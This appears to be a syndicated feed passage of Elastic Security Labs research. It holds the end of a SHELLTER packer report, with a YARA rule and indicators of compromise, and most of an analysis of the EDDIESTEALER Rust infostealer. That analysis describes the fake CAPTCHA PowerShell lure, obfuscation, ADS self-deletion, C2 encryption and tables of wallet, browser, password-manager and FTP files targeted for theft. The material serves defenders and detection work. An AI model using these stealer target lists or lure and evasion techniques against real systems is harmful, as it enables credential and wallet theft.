<p>Elastic Security Labs is <a href="https://github.com/elastic/labs-releases/tree/main/tools/shellter">releasing</a> a dynamic unpacker for binaries protected by SHELLTER. This tool leverages a combination of dynamic and static analysis techniques to automatically extract multiple payload stages from a SHELLTER-protected binary.</p>
<p>As SHELLTER offers a wide range of optional features, this unpacker is not fully comprehensive, although it does successfully process a large majority of tested samples. Even with unsupported binaries, it is typically able to extract at least one payload stage.</p>
<p><strong>For safety reasons, this tool should only be executed within an isolated virtual machine.</strong> During the unpacking process, potentially malicious executable code is mapped into memory. Although some basic safeguards have been implemented, they are not infallible.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image26.png" alt="SHELLTER Unpacker screenshot" /></p>
<h2>Conclusion</h2>
<p>Despite the commercial OST community's best efforts to retain their tools for legitimate purposes, mitigation methods are imperfect. They, like many of our customers, face persistent, motivated attackers. Although the Shellter Project is a victim in this case through intellectual property loss and future development time, other participants in the security space must now contend with real threats wielding more capable tools.</p>
<p>We expect:</p>
<ul>
<li>This illicit version of SHELLTER will continue to circulate through the criminal community and potentially transition to nation-state-aligned actors.</li>
<li>The Shellter Project will update and release a version that mitigates the detection opportunities identified in this analysis.
<ul>
<li>Any new tooling will remain a target for malicious actors.</li>
</ul>
</li>
<li>More advanced threats will analyze these samples and incorporate features into their toolsets.</li>
</ul>
<p>Our aim is that this analysis will aid defenders in the early detection of these identified infostealer campaigns and prepare them for a potential expansion of these techniques to other areas of the offensive landscape.</p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0100/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0042/">Resource Development</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1071/">Application Layer Protocol</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/003/">Process Injection: Thread Execution Hijacking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/016/">Obfuscated Files or Information: Junk Code Insertion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Content Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1588/">Obtain Capabilities</a></li>
</ul>
<h2>Mitigating SHELLTER</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_shellcode_from_unusual_microsoft_signed_module.toml">Shellcode from Unusual Microsoft Signed Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml">Unbacked Shellcode from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_potential_evasion_via_invalid_code_signature.toml">Potential Evasion via Invalid Code Signature</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_thread_suspension_from_unbacked_memory.toml">Thread Suspension from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_suspicious_executable_memory_mapping.toml">Suspicious Executable Memory Mapping</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code class="language-yara">rule Windows_Trojan_Shellter {  
    meta:  
        author = &quot;Elastic Security&quot;  
        creation_date = &quot;2025-06-30&quot;  
        last_modified = &quot;2025-06-30&quot;  
        os = &quot;Windows&quot;  
        arch = &quot;x86&quot;  
        category_type = &quot;Trojan&quot;  
        family = &quot;Shellter&quot;  
        threat_name = &quot;Windows.Trojan.Shellter&quot;  
        reference_sample = &quot;c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30&quot;

    strings:  
        $seq_api_hashing = { 48 8B 44 24 ?? 0F BE 00 85 C0 74 ?? 48 8B 44 24 ?? 0F BE 00 89 44 24 ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 8B 04 24 C1 E8 ?? 8B 0C 24 C1 E1 ?? 0B C1 }  
        $seq_debug = { 48 8B 49 30 8B 49 70 8B 40 74 0B C1 25 70 00 00 40 85 C0 75 22 B8 D4 02 00 00 48 05 00 00 FE 7F }  
        $seq_mem_marker = { 44 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 33 C0 83 F8 ?? 74 ?? 48 8B 44 24 ?? 8B 4C 24 ?? 39 08 75 ?? EB ?? 48 63 44 24 ?? 48 8B 4C 24 }  
        $seq_check_jmp_rcx = { 48 89 4C 24 ?? B8 01 00 00 00 48 6B C0 00 48 8B 4C 24 ?? 0F B6 04 01 3D FF 00 00 00 75 ?? B8 01 00 00 00 48 6B C0 01 48 8B 4C 24 ?? 0F B6 04 01 3D E1 00 00 00 75 ?? B8 01 00 00 00 }  
        $seq_syscall_stub = { C6 84 24 98 00 00 00 4C C6 84 24 99 00 00 00 8B C6 84 24 9A 00 00 00 D1 C6 84 24 9B 00 00 00 B8 C6 84 24 9C 00 00 00 00 C6 84 24 9D 00 00 00 00 C6 84 24 9E 00 00 00 00 }  
        $seq_mem_xor = { 48 8B 4C 24 ?? 0F B6 04 01 0F B6 4C 24 ?? 3B C1 74 ?? 8B 44 24 ?? 0F B6 4C 24 ?? 48 8B 54 24 ?? 0F B6 04 02 33 C1 8B 4C 24 ?? 48 8B 54 24 ?? 88 04 0A }  
        $seq_excep_handler = { 48 89 4C 24 08 48 83 EC 18 48 B8 E8 E7 E6 E5 E4 E3 E2 E1 48 89 04 24 48 8B 44 24 20 48 8B 00 81 38 05 00 00 C0 }  
    condition:  
        3 of them  
}  
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/shellter">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30</td>
<td align="left">SHA-256</td>
<td align="left">Endorphin.exe</td>
<td align="left">SHELLTER-PROTECTED RHADAMANTHYS</td>
</tr>
<tr>
<td align="left">7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10</td>
<td align="left">SHA-256</td>
<td align="left">SUPERAntiSpyware.exe</td>
<td align="left">SHELLTER-PROTECTED UNKNOWN FAMILY</td>
</tr>
<tr>
<td align="left">b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad</td>
<td align="left">SHA-256</td>
<td align="left">Aac3572DramHal_x64.exe</td>
<td align="left">SHELLTER-PROTECTED ARECHCLIENT2</td>
</tr>
<tr>
<td align="left">da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880</td>
<td align="left">SHA-256</td>
<td align="left">Branster.exe</td>
<td align="left">SHELLTER-PROTECTED LUMMA</td>
</tr>
<tr>
<td align="left">70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1</td>
<td align="left">SHA-256</td>
<td align="left">IMCCPHR.exe</td>
<td align="left">SHELLTER-PROTECTED UNKNOWN FAMILY</td>
</tr>
<tr>
<td align="left">263ab8c9ec821ae573979ef2d5ad98cda5009a39e17398cd31b0fad98d862892</td>
<td align="left">SHA-256</td>
<td align="left">Pinnacle Studio Advertising materials.rar</td>
<td align="left">LURE ARCHIVE</td>
</tr>
<tr>
<td align="left">eaglekl[.]digital</td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">LUMMA C&amp;C server</td>
</tr>
<tr>
<td align="left">185.156.72[.]80</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">ARECHCLIENT2 C&amp;C server</td>
</tr>
<tr>
<td align="left">94.141.12[.]182</td>
<td align="left">ipv4-addr</td>
<td align="left">plotoraus[.]shop server</td>
<td align="left">RHADAMANTHYS C&amp;C server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://x.com/DarkWebInformer/status/1923472392157790700">https://x.com/DarkWebInformer/status/1923472392157790700</a></li>
<li><a href="https://www.shellterproject.com/shellter-editions-feature-comparison-table/">https://www.shellterproject.com/shellter-editions-feature-comparison-table/</a></li>
<li><a href="https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf">https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf</a></li>
<li><a href="https://github.com/elastic/labs-releases/tree/main/tools/shellter">https://github.com/elastic/labs-releases/tree/main/tools/shellter</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/Security Labs Images 2.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Chasing Eddies: New Rust-based InfoStealer used in CAPTCHA campaigns]]></title>
            <link>https://www.elastic.co/de/security-labs/eddiestealer</link>
            <guid>eddiestealer</guid>
            <pubDate>Fri, 30 May 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs walks through EDDIESTEALER, a lightweight commodity infostealer used in emerging CAPTCHA-based campaigns.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security Labs has uncovered a novel Rust-based infostealer distributed via Fake CAPTCHA campaigns. This malware is hosted on multiple adversary-controlled web properties. This campaign leverages deceptive CAPTCHA verification pages that trick users into executing a malicious PowerShell script, which ultimately deploys the infostealer, harvesting sensitive data such as credentials, browser information, and cryptocurrency wallet details. We are calling this malware EDDIESTEALER.</p>
<p>This adoption of Rust in malware development reflects a growing trend among threat actors seeking to leverage modern language features for enhanced stealth, stability, and resilience against traditional analysis workflows and threat detection engines. A seemingly simple infostealer written in Rust often requires more dedicated analysis efforts compared to its C/C++ counterpart, owing to factors such as zero-cost abstractions, Rust’s type system, compiler optimizations, and inherent difficulties in analyzing memory-safe binaries.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image9.png" alt="EDDIESTEALER’s execution chain" title="EDDIESTEALER’s execution chain" /></p>
<h2>Key takeaways</h2>
<ul>
<li>Fake CAPTCHA campaign loads EDDIESTEALER</li>
<li>EDDIESTEALER is a newly discovered Rust infostealer targeting Windows hosts</li>
<li>EDDIESTEALER receives a task list from the C2 server identifying data to target</li>
</ul>
<h2>Intial access</h2>
<h3>Overview</h3>
<p>Fake CAPTCHAs are malicious constructs that replicate the appearance and functionality of legitimate CAPTCHA systems, which are used to distinguish between human users and automated bots. Unlike their legitimate counterparts, fake CAPTCHAs serve as gateways for malware, leveraging social engineering to deceive users. They often appear as prompts like &quot;Verify you are a human&quot; or &quot;I'm not a robot,&quot; blending seamlessly into compromised websites or phishing campaigns. We have also encountered a similar campaign distributing <a href="https://www.elastic.co/de/security-labs/tricks-and-treats">GHOSTPULSE</a> in late 2024.</p>
<p>From our telemetry analysis leading up to the delivery of EDDIESTEALER, the initial vector was a compromised website deploying an obfuscated React-based JavaScript payload that displays a fake “I'm not a robot” verification screen.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image36.png" alt="Fake CAPTCHA GUI" title="Fake CAPTCHA GUI" /></p>
<p>Mimicking Google's reCAPTCHA verification interface, the malware uses the <code>document.execCommand(&quot;copy&quot;)</code> method to copy a PowerShell command into the user’s clipboard, next, it instructs the user to press Windows + R (to open the Windows run dialog box), then Ctrl + V to paste the clipboard contents, and finally Enter to execute the malicious PowerShell command.</p>
<p>This command silently downloads a second-stage payload (<code>gverify.js</code>) from the attacker-controlled domain <code>hxxps://llll.fit/version/</code> and saves it to the user’s <code>Downloads</code> folder.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image18.png" alt="Copy PowerShell command to clipboard" title="Copy PowerShell command to clipboard" /></p>
<p>Finally, the malware executes <code>gverify.js</code> using <code>cscript</code> in a hidden window.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image35.png" alt="PowerShell command to download and execute the second script" title="PowerShell command to download and execute the second script" /></p>
<p><code>gverify.js</code> is another obfuscated JavaScript payload that can be deobfuscated using open-source <a href="https://github.com/ben-sb/javascript-deobfuscator">tools</a>. Its functionality is fairly simple: fetching an executable (EDDIESTEALER) from <code>hxxps://llll.fit/io</code> and saving the file under the user’s <code>Downloads</code> folder with a pseudorandom 12-character file name.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image2.png" alt="PowerShell script to download and execute EDDIESTEALER" title="PowerShell script to download and execute EDDIESTEALER" /></p>
<h2>EDDIESTEALER</h2>
<h3>Overview</h3>
<p>EDDIESTEALER is a novel Rust-based commodity infostealer. The majority of strings that give away its malicious intent are encrypted. The malware lacks robust anti-sandbox/VM protections against behavioral fingerprinting. However, newer variants suggest that the anti-sandbox/VM checks might be occurring on the server side. With relatively straightforward capabilities, it receives a task list from the C2 server as part of its configuration to target specific data and can self-delete after execution if specified.</p>
<h3>Stripped Symbols</h3>
<p>EDDIESTEALER samples featured stripped function symbols, likely using Rust’s default compilation option, requiring symbol restoration before static analysis. We used &lt;code&gt;<a href="https://github.com/N0fix/rustbinsign">rustbinsign</a>&lt;/code&gt;, which generates signatures for Rust standard libraries and crates based on specific Rust/compiler/dependency versions. While <code>rustbinsign</code> only detected &lt;code&gt;<a href="https://docs.rs/hashbrown/latest/hashbrown/">hashbrown</a>&lt;/code&gt; and &lt;code&gt;<a href="https://docs.rs/rustc-demangle/latest/rustc_demangle/">rustc-demangle</a>&lt;/code&gt;, suggesting few external crates being used, it failed to identify crates such as &lt;code&gt;<a href="https://docs.rs/tinyjson/latest/tinyjson/">tinyjson</a>&lt;/code&gt; and &lt;code&gt;<a href="https://docs.rs/tokio-tungstenite/latest/tokio_tungstenite/">tungstenite</a>&lt;/code&gt; in newer variants. This occurred due to the lack of clear string artifacts. It is still possible to manually identify crates by finding unique strings and searching for the repository on GitHub, then download, compile and build signatures for them using the <code>download_sign</code> mode. It is slightly cumbersome if we don’t know the exact version of the crate being used. However, restoring the standard library and runtime symbols is sufficient to advance the static analysis process.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image40.png" alt="rustbinsign “info” output" title="rustbinsign “info” output" /></p>
<h3>String Obfuscation</h3>
<p>EDDIESTEALER encrypts most strings via a simple XOR cipher. Decryption involves two stages: first, the XOR key is derived by calling one of several key derivation functions; then, the decryption is performed inline within the function that uses the string.</p>
<p>The following example illustrates this, where <code>sub_140020fd0</code> is the key derivation function, and <code>data_14005ada8</code> is the address of the encrypted blob.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image17.png" alt="Example decryption operation" title="Example decryption operation" /></p>
<p>Each decryption routine utilizes its own distinct key derivation function. These functions consistently accept two arguments: an address within the binary and a 4-byte constant value. Some basic operations are then performed on these arguments to calculate the address where the XOR key resides.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image39.png" alt="Key derivation functions" title="Key derivation functions" /></p>
<p>Binary Ninja has a handy feature called &lt;code&gt;<a href="https://docs.binary.ninja/dev/uidf.html">User-Informed Data Flow</a>&lt;/code&gt; (UIDF), which we can use to set the variables to known values to trigger a constant propagation analysis and simplify the expressions. Otherwise, a CPU emulator like <a href="https://www.unicorn-engine.org/">Unicorn</a> paired with a scriptable binary analysis tool can also be useful for batch analysis.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image11.png" alt="Binary Ninja’s UIDF applied" title="Binary Ninja’s UIDF applied" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image42.png" alt="Batch processing to decrypt all strings" title="Batch processing to decrypt all strings" /></p>
<p>There is a general pattern for thread-safe, lazy initialization of shared resources, such as encrypted strings for module names, C2 domain and port, the sample’s unique identifier - that are decrypted only once but referenced many times during runtime. Each specific getter function checks a status flag for its resource; if uninitialized, it calls a shared, low-level synchronization function. This synchronization routine uses atomic operations and OS wait primitives (<code>WaitOnAddress</code>/<code>WakeByAddressAll</code>) to ensure only one thread executes the actual initialization logic, which is invoked indirectly via a function pointer in the vtable of a <code>dyn Trait</code> object.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image34.png" alt="Decryption routine abstracted through dyn Trait object and lazy init of shared resource" title="Decryption routine abstracted through dyn Trait object and lazy init of shared resource" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image12.png" alt="Example Trait object vtable" title="Example Trait object vtable" /></p>
<h3>API Obfuscation</h3>
<p>EDDIESTEALER utilizes a custom WinAPI lookup mechanism for most API calls. It begins by decrypting the names of the target module and function. Before attempting resolution, it checks a locally maintained hashtable to see if the function name and address have already been resolved. If not found, it dynamically loads the required module using a custom <code>LoadLibrary</code> wrapper, into the process’s address space, and invokes a <a href="https://github.com/cocomelonc/2023-04-16-malware-av-evasion-16/blob/ba05e209e079c2e339c67797b5a563a2e4dc0106/hack.cpp#L75">well-known implementation of GetProcAddress</a> to retrieve the address of the exported function. The API name and address are then inserted into the hashtable, optimizing future lookups.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image31.png" alt="Core functions handling dynamic imports and API resolutions" title="Core functions handling dynamic imports and API resolutions" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image23.png" alt="Custom GetProcAddress implementation" title="Custom GetProcAddress implementation" /></p>
<h3>Mutex Creation</h3>
<p>EDDIESTEALER begins by creating a mutex to ensure that only one instance of the malware runs at any given time. The mutex name is a decrypted UUID string <code>431e2e0e-c87b-45ac-9fdb-26b7e24f0d39</code> (unique per sample), which is later referenced once more during its initial contact with the C2 server.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image7.png" alt="Retrieve the UUID and create a mutex with it" title="Retrieve the UUID and create a mutex with it" /></p>
<h3>Sandbox Detection</h3>
<p>EDDIESTEALER performs a quick check to assess whether the total amount of physical memory is above ~4.0 GB as a weak sandbox detection mechanism. If the check fails, it deletes itself from disk.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image27.png" alt="Memory check" title="Memory check" /></p>
<h3>Self-Deletion</h3>
<p>Based on a similar <a href="https://github.com/LloydLabs/delete-self-poc/tree/main">self-deletion technique</a> observed in <a href="https://www.elastic.co/de/security-labs/spring-cleaning-with-latrodectus">LATRODECTUS</a>, EDDIESTEALER is capable of deleting itself through NTFS Alternate Data Streams renaming, to bypass file locks.</p>
<p>The malware uses <code>GetModuleFileName</code> to obtain the full path of its executable and <code>CreateFileW</code> (wrapped in <code>jy::ds::OpenHandle</code>) to open a handle to its executable file with the appropriate access rights. Then, a <code>FILE_RENAME_INFO</code> structure with a new stream name is passed into <code>SetFileInformationByHandle</code> to rename the default stream <code>$DATA</code> to <code>:metadata</code>. The file handle is closed and reopened, this time using <code>SetFileInformationByHandle</code> on the handle with the <code>FILE_DISPOSITION_INFO.DeleteFile</code> flag set to <code>TRUE</code> to enable a &quot;delete on close handle&quot; flag.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image6.png" alt="Self-deletion through ADS renaming" title="Self-deletion through ADS renaming" /></p>
<h3>Additional Configuration Request</h3>
<p>The initial configuration data is stored as encrypted strings within the binary. Once decrypted, this data is used to construct a request following the URI pattern: <code>&lt;C2_ip_or_domain&gt;/&lt;resource_path&gt;/&lt;UUID&gt;</code>. The <code>resource_path</code> is specified as <code>api/handler</code>.  The <code>UUID</code>, utilized earlier to create a mutex, is used as a unique identifier for build tracking.</p>
<p>EDDIESTEALER then communicates with its C2 server by sending an HTTP GET request with the constructed URI to retrieve a second-stage configuration containing a list of tasks for the malware to execute.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image16.png" alt="Decrypt strings required to build URI for C2 comms" title="Decrypt strings required to build URI for C2 comms" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image21.png" alt="HTTP request wrapper" title="HTTP request wrapper" /></p>
<p>The second-stage configuration data is AES CBC encrypted and Base64 encoded. The Base64-encoded IV is prepended in the message before the colon (<code>:</code>).</p>
<pre><code>Base64(IV):Base64(AESEncrypt(data))
</code></pre>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image3.png" alt="Encrypted data received from C2" title="Encrypted data received from C2" /></p>
<p>The AES key for decrypting the server-to-client message is stored unencrypted in UTF-8 encoding, in the <code>.rdata</code> section. It is retrieved through a getter function.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image41.png" alt="Hardcoded AES key" title="Hardcoded AES key" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image8.png" alt="Core wrapper functions for config decryption" title="Core wrapper functions for config decryption" /></p>
<p>The decrypted configuration for this sample contains the following in JSON format:</p>
<ul>
<li>Session ID</li>
<li>List of tasks (data to target)</li>
<li>AES key for client-to-server message encryption</li>
<li>Self-delete flag</li>
</ul>
<pre><code class="language-json">{
    &quot;session&quot;: &quot;&lt;unique_session_id&gt;&quot;,
    &quot;tasks&quot;: [
        {
            &quot;id&quot;: &quot;&lt;unique_task_id&gt;&quot;,
            &quot;prepare&quot;: [],
            &quot;pattern&quot;: {
                &quot;path&quot;: &quot;&lt;file_system_path&gt;&quot;,
                &quot;recursive&quot;: &lt;true/false&gt;,
                &quot;filters&quot;: [
                    {
                        &quot;path_filter&quot;: &lt;null/string&gt;,
                        &quot;name&quot;: &quot;&lt;file_or_directory_name_pattern&gt;&quot;,
                        &quot;entry_type&quot;: &quot;&lt;FILE/DIR&gt;&quot;
                    },
                    ...
                ]
            },
            &quot;additional&quot;: [
                {
                    &quot;command&quot;: &quot;&lt;optional_command&gt;&quot;,
                    &quot;payload&quot;: {
                        &quot;&lt;command_specific_config&gt;&quot;: &lt;value&gt;
                    }
                },
                ...
            ]
        },
        ...
    ],
    &quot;network&quot;: {
        &quot;encryption_key&quot;: &quot;&lt;AES_encryption_key&gt;&quot;
    },
    &quot;self_delete&quot;: &lt;true/false&gt;
}
</code></pre>
<p>For this particular sample and based on the tasks received from the server during our analysis, here are the list of filesystem-based exfiltration targets:</p>
<ul>
<li>Crypto wallets</li>
<li>Browsers</li>
<li>Password managers</li>
<li>FTP clients</li>
<li>Messaging applications</li>
</ul>
<table>
<thead>
<tr>
<th>Crypto Wallet</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Armory</td>
<td><code>%appdata%\\Armory\\*.wallet</code></td>
</tr>
<tr>
<td>Bitcoin</td>
<td><code>%appdata%\\Bitcoin\\wallets\\*</code></td>
</tr>
<tr>
<td>WalletWasabi</td>
<td><code>%appdata%\\WalletWasabi\\Client\\Wallets\\*</code></td>
</tr>
<tr>
<td>Daedalus Mainnet</td>
<td><code>%appdata%\\Daedalus Mainnet\\wallets\\*</code></td>
</tr>
<tr>
<td>Coinomi</td>
<td><code>%localappdata%\\Coinomi\\Coinomi\\wallets\\*</code></td>
</tr>
<tr>
<td>Electrum</td>
<td><code>%appdata%\\Electrum\\wallets\\*</code></td>
</tr>
<tr>
<td>Exodus</td>
<td><code>%appdata%\\Exodus\\exodus.wallet\\*</code></td>
</tr>
<tr>
<td>DashCore</td>
<td><code>%appdata%\\DashCore\\wallets\\*</code></td>
</tr>
<tr>
<td>ElectronCash</td>
<td><code>%appdata%\\ElectronCash\\wallets\\*</code></td>
</tr>
<tr>
<td>Electrum-DASH</td>
<td><code>%appdata%\\Electrum-DASH\\wallets\\*</code></td>
</tr>
<tr>
<td>Guarda</td>
<td><code>%appdata%\\Guarda\\IndexedDB</code></td>
</tr>
<tr>
<td>Atomic</td>
<td><code>%appdata%\\atomic\\Local Storage</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Browser</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Microsoft Edge</td>
<td><code>%localappdata%\\Microsoft\\Edge\\User Data\\</code>&lt;br /&gt;<code>[Web Data,History,Bookmarks,Local Extension Settings\\...]</code></td>
</tr>
<tr>
<td>Brave</td>
<td><code>%localappdata%\\BraveSoftware\\Brave-Browser\\User Data\\</code>&lt;br /&gt;<code>[Web Data,History,Bookmarks,Local Extension Settings\\...]</code></td>
</tr>
<tr>
<td>Google Chrome</td>
<td><code>%localappdata%\\Google\\Chrome\\User Data\\</code>&lt;br /&gt;<code>[Web Data,History,Bookmarks,Local Extension Settings\\...]</code></td>
</tr>
<tr>
<td>Mozilla Firefox</td>
<td><code>%appdata%\\Mozilla\\Firefox\\Profiles\\</code>&lt;br /&gt;<code>[key4.db,places.sqlite,logins.json,cookies.sqlite,formhistory.sqlite,webappsstore.sqlite,*+++*]</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Password Manager</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bitwarden</td>
<td><code>%appdata%\\Bitwarden\\data.json</code></td>
</tr>
<tr>
<td>1Password</td>
<td><code>%localappdata%\\1Password\\</code>&lt;br /&gt;<code>[1password.sqlite,1password_resources.sqlite]</code></td>
</tr>
<tr>
<td>KeePass</td>
<td><code>%userprofile%\\Documents\\*.kdbx</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>FTP Client</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>FileZilla</td>
<td><code>%appdata%\\FileZilla\\recentservers.xml</code></td>
</tr>
<tr>
<td>FTP Manager Lite</td>
<td><code>%localappdata%\\DeskShare Data\\FTP Manager Lite\\2.0\\FTPManagerLiteSettings.db</code></td>
</tr>
<tr>
<td>FTPbox</td>
<td><code>%appdata%\\FTPbox\\profiles.conf</code></td>
</tr>
<tr>
<td>FTP Commander Deluxe</td>
<td><code>%ProgramFiles(x86)%\\FTP Commander Deluxe\\FTPLIST.TXT</code></td>
</tr>
<tr>
<td>Auto FTP Manager</td>
<td><code>%localappdata%\\DeskShare Data\\Auto FTP Manager\\AutoFTPManagerSettings.db</code></td>
</tr>
<tr>
<td>3D-FTP</td>
<td><code>%programdata%\\SiteDesigner\\3D-FTP\\sites.ini</code></td>
</tr>
<tr>
<td>FTPGetter</td>
<td><code>%appdata%\\FTPGetter\\servers.xml</code></td>
</tr>
<tr>
<td>Total Commander</td>
<td><code>%appdata%\\GHISLER\\wcx_ftp.ini</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Messaging App</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Telegram Desktop</td>
<td><code>%appdata%\\Telegram Desktop\\tdata\\*</code></td>
</tr>
</tbody>
</table>
<p>A list of targeted browser extensions can be found <a href="https://gist.github.com/jiayuchann/ba3cd9f4f430a9351fdff75869959853">here</a>.</p>
<p>These targets are subject to change as they are configurable by the C2 operator.</p>
<p>EDDIESTEALER then reads the targeted files using standard <code>kernel32.dll</code> functions like <code>CreateFileW</code>, <code>GetFileSizeEx</code>, <code>ReadFile</code>, and <code>CloseHandle</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/eddiestealer/image26.png" alt="APIs for reading files specified in the task list" title="APIs for reading files specified in the task list" /></p>
<h3>Subsequent C2 Traffic</h3>
<p>After successfully retrieving the tasks, EDDIESTEALER performs system profiling to gather some information about the infected system:</p>
<ul>
<li>Location of the executable (<code>GetModuleFileNameW</code>)</li>
<li>Locale ID (<code>GetUserDefaultLangID</code>)</li>
<li>Username (<code>GetUserNameW</code>)</li>
<li>Total amount of physical memory (<code>GlobalMemoryStatusEx</code>)</li>
<li>OS version (<code>RtlGetVersion</code>)</li>
</ul>
<p>Following the same data format (<code>Base64(IV):Base64(AESEncrypt(data))</code>) for client-to-server messages, initial host information is AES-encrypted using the key retrieved from the additional configuration and sent via an HTTP POST request to <code>&lt;C2_ip_or_domain&gt;/&lt;resource_path&gt;/info/&lt;session_id&gt;</code>. Subsequently, for each completed task, the collected data is also encrypted and transmitted in separate POST requests to <code>&lt;C2_ip_or_domain&gt;/&lt;resource_path&gt;&lt;session_id&gt;/&lt;task_id&gt;</code>, right after each task is completed. This methodology generates a distinct C2 traffic pattern characterized by multiple, task-specific POST requests. This pattern is particularly easy to identify because this malware family primarily relies on HTTP instead of HTTPS for its C2 communication.</p>
